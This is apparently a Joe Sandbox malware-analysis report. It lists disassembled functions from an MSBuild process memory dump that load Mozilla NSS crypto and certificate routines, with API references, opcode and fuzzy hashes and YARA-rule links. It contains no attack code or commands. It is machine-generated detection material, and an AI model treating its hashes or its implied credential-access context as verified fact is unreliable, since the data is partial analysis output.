Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: f0914653e070237dfb6af2b92e0ab16c7078ac1dea6ee9ef49db1e5354a6fa47
Instruction ID: 6565b7e2f55b4509665cc44b641b1ea7b7308b7d469cb35491e4499c086386eb
Opcode Fuzzy Hash: f0914653e070237dfb6af2b92e0ab16c7078ac1dea6ee9ef49db1e5354a6fa47
Instruction Fuzzy Hash: B62171B1B056018FD700AF79C484959BBF4FF45308F05C96ED9888B711EB36D899CB92

Function 6CD02C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD02CA0
PR_ExitMonitor.NSS3 ref: 6CD02CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD02CD1
strdup.MOZGLUE(?), ref: 6CD02CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD02D27

Strings

Loaded library %s (static lib), xrefs: 6CD02D22

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ce9757847f724daab51da3bb4a6c512263d2b01d85276c78dc53077cc10043f1
Instruction ID: cdc18524aa616e6bff37ae3f700e0d1d68d84c8ff1af4393924224118cc8c487
Opcode Fuzzy Hash: ce9757847f724daab51da3bb4a6c512263d2b01d85276c78dc53077cc10043f1
Instruction Fuzzy Hash: 2711E2B17022409FFB008F1CDC44A6A77B8AB4635DF94843DDA0987BA1E731E808CBA1

Function 6CBF68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBF68FB
EnterCriticalSection.KERNEL32 ref: 6CBF6913
PORT_FreeArena_Util.NSS3 ref: 6CBF693E
PR_Unlock.NSS3 ref: 6CBF6946
DeleteCriticalSection.KERNEL32 ref: 6CBF6951
free.MOZGLUE ref: 6CBF695D
PR_Unlock.NSS3 ref: 6CBF6968

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 6da919cfe85290dcc2ad93adcaa6ce1ec4d31e4a15b7563a3a7b20938f2eba99
Instruction ID: 8d83998a92fa5567855a5882042033e06723d9736114946e4a5b7e4ed990ad3b
Opcode Fuzzy Hash: 6da919cfe85290dcc2ad93adcaa6ce1ec4d31e4a15b7563a3a7b20938f2eba99
Instruction Fuzzy Hash: 6A114CB16046458FEB00BF78C48856DBBF8FF45648F018968DD98DB701EB30D499CB92

Function 6CC50FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B
TlsGetValue.KERNEL32(00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51044
free.MOZGLUE(00000000,?,00000800,6CBEEF74,00000000), ref: 6CC51064

Strings

security, xrefs: 6CC51025

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 77193db5a6a97dac7cec53bf6482246e0df08b76465b1225cf782280b57cba22
Instruction ID: 45d70753afe3bbffec741864a2d946491e29d87e78fb2d375705881d235990bd
Opcode Fuzzy Hash: 77193db5a6a97dac7cec53bf6482246e0df08b76465b1225cf782280b57cba22
Instruction Fuzzy Hash: 17014830A0029057F7202F2D9C09B563A78BF86789F814116EA0896A52FB70C17ADBD9

Function 6CD0C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CC81AB6,00000000,?,?,6CC807B9,?), ref: 6CD0C9C6
free.MOZGLUE(?,?,6CC807B9,?), ref: 6CD0C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CD0C9E5
free.MOZGLUE(?), ref: 6CD0C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CD0C9F8
free.MOZGLUE(?), ref: 6CD0C9FF
free.MOZGLUE(00000000), ref: 6CD0CA0B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 733be092fd7192d1783bf6a07161ef73c02e822d74729b848d5b651b0e789a27
Instruction ID: 5aa7de2976986d580650214ebaf4de72182054ab157d80815ee70db60c858934
Opcode Fuzzy Hash: 733be092fd7192d1783bf6a07161ef73c02e822d74729b848d5b651b0e789a27
Instruction Fuzzy Hash: E2014FB2600605ABEB10FFB4CC89867B7BCFE892A53044525EA46C3600D735F459CBE1

Function 6CC92E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC93046

Part of subcall function 6CC7EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CC67FFB), ref: 6CC9312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC93154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC92E8B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Part of subcall function 6CC7F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CC69BFF,?,00000000,00000000), ref: 6CC7F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CC67FFA), ref: 6CC92EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC9317B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 390cd3db7dab74e855444a450bf5206166b28d92e8d59c7c6a251fb7c8e2eaef
Instruction ID: 701ce1c8687ed628209c308f93966e127e5c9e051154d1fabb7102b604520e32
Opcode Fuzzy Hash: 390cd3db7dab74e855444a450bf5206166b28d92e8d59c7c6a251fb7c8e2eaef
Instruction Fuzzy Hash: 48A1AD71A002289FDB24CF54CC94BEAB7B5EF45308F048199E989A7741E771AD45CFA1

Function 6CC5ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC5ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CC5EDCE

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

free.MOZGLUE(00000000,?,?,?,?,6CC5B04F), ref: 6CC5EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC5EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5EEFB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 535ff8c077da10ce7eb4539a11474326cc4fd26c6df4a29ee42e1b557dbfd5e9
Instruction ID: 55480b57f6fbf4bb4af7b92274dcada2340f1a5aa06f9840e753aad77c85035a
Opcode Fuzzy Hash: 535ff8c077da10ce7eb4539a11474326cc4fd26c6df4a29ee42e1b557dbfd5e9
Instruction Fuzzy Hash: 1E818AB1A002059FEB14CF59C884BABB7F5BF88308F54442CE9159B751EB79E834CBA5

Function 6CC5CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

PR_Now.NSS3 ref: 6CC5CD35

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

Part of subcall function 6CC46C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C3F

PR_GetCurrentThread.NSS3 ref: 6CC5CD54

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

Part of subcall function 6CC47260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1CCC,00000000,00000000,?,?), ref: 6CC4729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CC5CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC5CE2C

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC5CE40

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

Part of subcall function 6CC5CEE0: PORT_ArenaMark_Util.NSS3(?,6CC5CD93,?), ref: 6CC5CEEE
Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC5CD93,?), ref: 6CC5CEFC
Part of subcall function 6CC5CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC5CD93,?), ref: 6CC5CF0B
Part of subcall function 6CC5CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC5CD93,?), ref: 6CC5CF1D

Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF47
Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF67
Part of subcall function 6CC5CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CC5CD93,?,?,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF78

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 13d701dc8e444fef3b2140bd18b81dc01bc38b3cb2e4c912e0d7f7aaa3afc8fe
Instruction ID: a4020d0a0bb95b1453ad1d53016f09072b76704d970ec5303c65d227f0408c50
Opcode Fuzzy Hash: 13d701dc8e444fef3b2140bd18b81dc01bc38b3cb2e4c912e0d7f7aaa3afc8fe
Instruction Fuzzy Hash: 6051ADB6B002009BEB10EF69DC44BAA73F4AF5C348F650524D949ABB40FB71E935CB95

Function 6CC2EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CC2EF38

Part of subcall function 6CC19520: PK11_IsLoggedIn.NSS3(00000000,?,6CC4379E,?,00000001,?), ref: 6CC19542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC2EF53

Part of subcall function 6CC34C20: TlsGetValue.KERNEL32 ref: 6CC34C4C
Part of subcall function 6CC34C20: EnterCriticalSection.KERNEL32(?), ref: 6CC34C60
Part of subcall function 6CC34C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CA1
Part of subcall function 6CC34C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC34CBE
Part of subcall function 6CC34C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CD2
Part of subcall function 6CC34C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D3A

PR_GetCurrentThread.NSS3 ref: 6CC2EF9E

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

free.MOZGLUE(00000000), ref: 6CC2EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC2F016
free.MOZGLUE(00000000), ref: 6CC2F022

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 787960dc618f3c870b703711c3097a2868796766a407ccd9ad95aae6caf907a1
Instruction ID: 65ac9eef6c2d0a4a8ebeb8a2a877be77caa51098653f14bfe83f63fb4bf19194
Opcode Fuzzy Hash: 787960dc618f3c870b703711c3097a2868796766a407ccd9ad95aae6caf907a1
Instruction Fuzzy Hash: 7B418571E00109AFDF019FA9DC85BEEBBB9AF48358F044029F914A6750F775C9158BA1

Function 6CC04860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04894

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC048CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC048DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CC048FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC04912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC0494A

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 5a055f2ac9bc2927718753080ae57d209c50cd4eb3d067efbf1c17e34ef8d606
Instruction ID: 83c52850e797843793ae6a6d5dc374652f7a4ab5cac903f1caaf9a317bc4e1a9
Opcode Fuzzy Hash: 5a055f2ac9bc2927718753080ae57d209c50cd4eb3d067efbf1c17e34ef8d606
Instruction Fuzzy Hash: 944191B1704705ABE700CF69D890BAB73E8AF94218F144A3CEA59D7B41F771D908CB52

Function 6CC1CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CC1CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CC1D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CC1D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1D025
PR_NewLock.NSS3 ref: 6CC1D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC1D074

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 2ea1ff52852293bc4daad26dc73858de8e8f168eff520b66c75511454bbadc91
Instruction ID: 4e014a279a392ffa98905ba54df5cd4e5fc9907566b9341c8dcf4853ffe19b31
Opcode Fuzzy Hash: 2ea1ff52852293bc4daad26dc73858de8e8f168eff520b66c75511454bbadc91
Instruction Fuzzy Hash: 9641B4B0A053119FDB11DF2AC8847967BA4EF08358F118169EC1D8BF46F774D486DB91

Function 6CC02E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CBF2D1A), ref: 6CC02E7E

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

PR_Now.NSS3 ref: 6CC02EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CC02EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CBF2D1A), ref: 6CC02F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CBF2D1A), ref: 6CC02F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC02F81

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: f5136cf07b51ce995bd57fc0ad63f097a3501febb4d4fcc76c55179b1a707b6a
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: C531F3717011608BF710C655CC68BAEB369EF81398F64497AD52997AD0FB33988ACA11

Function 6CBDA9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CCB9270), ref: 6CBDA9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CCB9270), ref: 6CBDA9DE

Part of subcall function 6CBDAB40: __aulldiv.LIBCMT ref: 6CBDAB66

Part of subcall function 6CCBCA40: LeaveCriticalSection.KERNEL32(?), ref: 6CCBCAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CBDAA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CBDAA39
EnterCriticalSection.KERNEL32(?), ref: 6CBDAA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CBDAAEB

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
